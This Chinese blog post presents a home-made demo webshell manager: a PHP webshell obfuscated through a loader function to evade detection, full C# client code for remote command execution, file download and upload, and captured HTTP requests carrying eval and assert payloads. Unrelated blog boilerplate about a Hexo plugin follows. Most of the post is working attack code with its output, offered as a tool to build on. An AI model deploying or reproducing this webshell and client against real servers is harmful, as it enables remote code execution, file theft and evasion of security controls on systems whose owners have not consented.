Demo版菜刀

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demo版，所以存在很多问题(判断连接都通过response)，暂时未加加密传输，demo2版会修改为加密通信和大文件传输，断点续传，socks功能。这里测试所以就用的request方法。而非post等。

demo版，所以存在很多问题(判断连接都通过response)，暂时未加加密传输，demo2版会修改为加密通信和大文件传输，断点续传，socks功能。这里测试所以就用的request方法。而非post等。

webshell:

<?php
@ini_set('display_errors','0');
if($_REQUEST['Ynife_verify'] == "verity" && $_REQUEST['Ynife_password'] == "pass"){
echo "bingo";
}
if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
if($_REQUEST['Ynife_run_flag'] == "run"){
loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
}else{
loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
}
}
function loader($a,$b){
$cc = run($b);
$a($cc);
}
function run($b){
return $b;
}
?>

image.png

image.png

他叫我约妹子去了。那我就去了。。。

首先看到webshell如何判断是否连接成功，当$_REQUEST['Ynife_verify']为verity和$_REQUEST['Ynife_password']等于pass的时候echo一个bingo。师傅看到这里可以就会喷了哈哈哈哈我也觉得。因为后期会改造所以暂时先将就着试试水。

这里回到c#入口函数

Program.cs

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
namespace Ynife
{
internal class Program
{
static void Main(string[] args)
{
string url = args[0];
string password = args[1];
string res = SendData.PostRequest(url, password);
if (res == "bingo")
{
Console.WriteLine("[+]connect success");
SendExecuteCommand.SendCode(url, password);
}
else
{
Console.WriteLine("[-]connect failed");
}
}
}
}

首先接受控制台url加密码其实就是$_REQUEST['Ynife_password']的值。然后通过SendData类的PostRequest方法发送。跟进PostRequest方法。

public static string PostRequest(string url,string password)
{
string responseData = "";
var client = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
client.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_password"] = password;
data["Ynife_verify"] = "verity";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
client.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = client.UploadValues(url, "POST", data);
responseData = Encoding.UTF8.GetString(bytes);
return responseData;
}

本地测试开启了8080代理，不用关闭就行。

测试下连接

image.png

image.png

SendExecuteCommand.SendCode(url, password);

如果连接成功调用SendExecuteCommand类得SendCode方法。同样需要传参url和password。跟进SendCode方法

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.Linq;
using System.Net;
using System.Text;
namespace Ynife
{
public static class SendExecuteCommand
{
public static void SendCode(string url,string password)
{
while (true)
{
Console.Write(">>");
string cmd = Console.ReadLine();
if(cmd == "break" || cmd == "quit" || cmd == "exit")
{
Console.WriteLine("bye~");
break;
}
if(cmd == "help" || cmd == "h" || cmd == "?")
{
Console.WriteLine("[*]usage:\r\n h or help or ? for help");
Console.WriteLine(" break or quit or exit for exit shell");
Console.WriteLine(" upload filename for upload file");
Console.WriteLine(" download filename for download file");
}
if(cmd.Contains("upload "))
{
string upfile = cmd.Replace("upload", "").Trim();
uploadFile.upload(upfile,url,password);
continue;
}
if(cmd.Contains("download "))
{
string dwfile = cmd.Replace("download", "").Trim();
download.downloadFile(url, password, dwfile);
continue;
}
string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
data["loader"] = "assert";
data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
data["Ynife_run_flag"] = "run";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);
if (responseData.Contains("yes"))
{
responseData = responseData.Replace("yes", "");
}
Console.WriteLine(responseData);
}
}
}
}

while循环当string cmd = Console.ReadLine(); cmd值为break或者quit或者exit退出循环。cmd值为help或者h或者?，使用教程。
upload和download分别调用uploadFile类upload方法和download类downloadFile方法。这里先不管，先看命令执行。看到webshell。

if($_REQUEST['Ynife_password'] == "pass" && $_REQUEST['Ynife_verify'] == "run"){
if($_REQUEST['Ynife_run_flag'] == "run"){
loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);
}else{
loader($_REQUEST['Ynife_run_loader'],$_REQUEST['Ynife_run']);
}
}
function loader($a,$b){
$cc = run($b);
$a($cc);
}
function run($b){
return $b;
}

loader方法其实就是$a($b)。loader($_REQUEST['loader'],$_REQUEST['Ynife_run_loader']);就一眼看出来是个什么鬼了。为什么要这么写？问得好，因为我直接写被干了。

回到c#

string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_run"] = "system('"+cmd+ "');@ini_set('display_errors','0');";
data["loader"] = "assert";
data["Ynife_run_loader"] = "@eval($_REQUEST['Ynife_run'])";
data["Ynife_run_flag"] = "run";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);

抓包看看

image.png

POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 191
Expect: 100-continue
Connection: close
Ynife_verify=run&Ynife_password=pass&Ynife_run=system('whoami');@ini_set('display_errors','0');&loader=assert&Ynife_run_loader=@eval($_REQUEST['Ynife_run'])&Ynife_run_flag=run

接下来看到文件下载

if(cmd.Contains("download "))
{
string dwfile = cmd.Replace("download", "").Trim();
download.downloadFile(url, password, dwfile);
continue;
}

可以看到当cmd值为download xx的时候replace download空格为空，后面就执行download类的downloadFile方法。

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace Ynife
{
public static class download
{
public static void downloadFile(string url,string password,string downloadFile)
{
try
{
string responseData = "";
var wb = new WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
wb.Proxy = proxy;
var data = new NameValueCollection();
string Ynife_run = "@eval($_REQUEST['up']);";
data["Ynife_run"] = Ynife_run;
data["Ynife_verify"] = "run";
data["Ynife_password"] = password;
data["Ynife_download"] = "true";
data["Ynife_run_loader"] = "assert";
data["up"] = "@ini_set('display_errors',+'0');$filename = '"+ downloadFile+"';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);";
byte[] sendData = Encoding.GetEncoding("GB2312").GetBytes(data.ToString());
wb.Headers.Add("ContentLength", sendData.Length.ToString());
byte[] bytes = wb.UploadValues(url, "POST", data);
//responseData = Encoding.UTF8.GetString(bytes);
Encoding gb2312;
gb2312 = Encoding.GetEncoding("gb2312");
responseData = gb2312.GetString(bytes);
File.WriteAllBytes(downloadFile, bytes);
if (File.Exists(downloadFile))
{
Console.WriteLine("[+]download success");
}
else
{
Console.WriteLine("[-]download failed");
}
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}

直接看到post数据包吧。

image.png

image.png

post包：

POST /test2.php HTTP/1.1
ContentLength: 50
Content-Type: application/x-www-form-urlencoded
Host: www.test.com
Content-Length: 336
Expect: 100-continue
Connection: close
Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_download=true&Ynife_run_loader=assert&up=@ini_set('display_errors',+'0');$filename = '2.jpg';$handle = fopen($filename, 'rb');$contents = fread($handle, filesize($filename));echo $contents;fclose($handle);

利用fopen+fread。c#端通过File.WriteAllBytes写入文件。

文件上传

if(cmd.Contains("upload "))
{
string upfile = cmd.Replace("upload", "").Trim();
uploadFile.upload(upfile,url,password);
continue;
}

跟进uploadFile类的upload方法。

using System;
using System.Collections.Generic;
using System.Collections.Specialized;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace Ynife
{
public static class uploadFile
{
public static void upload(string upfile,string url,string password)
{
try
{
WebClient oWeb = new System.Net.WebClient();
WebProxy proxy = new WebProxy("127.0.0.1", 8080);
oWeb.Proxy = proxy;
NameValueCollection parameters = new NameValueCollection();
string Ynife_run = "@eval($_REQUEST['up']);";
parameters.Add("Ynife_run", Ynife_run);
parameters.Add("Ynife_verify", "run");
parameters.Add("Ynife_password", password);
parameters.Add("Ynife_upload", "true");
parameters.Add("Ynife_run_loader", "assert");
parameters.Add("up", "@ini_set('display_errors',+'0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename);");
oWeb.QueryString = parameters;
var responseBytes = oWeb.UploadFile(url, upfile);
string response = Encoding.ASCII.GetString(responseBytes);
}
catch(Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}

直接抓包

image.png

POST /test2.php?Ynife_run=@eval($_REQUEST['up']);&Ynife_verify=run&Ynife_password=pass&Ynife_upload=true&Ynife_run_loader=assert&up=@ini_set('display_errors', '0');$filename=getcwd().'/'.$_FILES['file']['name'];move_uploaded_file($_FILES['file']['tmp_name'],$filename); HTTP/1.1
Content-Type: multipart/form-data; boundary=---------------------8da75982467498c
Host: www.test.com
Content-Length: 117381
Expect: 100-continue
Connection: close
-----------------------8da75982467498c
Content-Disposition: form-data; name="file"; filename="2.jpg"
Content-Type: application/octet-stream

就是调用move_uploaded_file来进行文件上传，有点粗糙。
wait me two day to up it.(chinglish).


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    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

俗话说“好记性不如烂笔头”，各个安全社区各自为战，当我们想要搜索某一方面的文章的时候总是得在各个平台之间来回横跳，于是乎，一个平台文章聚合搜索的想法诞生了。
然后正好我想有一个自己的博客，于是乎两者融合在了一起。
下面简单介绍各个导航的区别：
个人文章：本人的笔记、复现、总结等或者本人参与的共同创作。
收集文章：手工从公众号收集保存的文章，更新频率看本人喜好所以比较慢。
聚合文章：从各大平台收集整理，由工具实现，每天更新。
很惭愧，只做了一点微小的工作。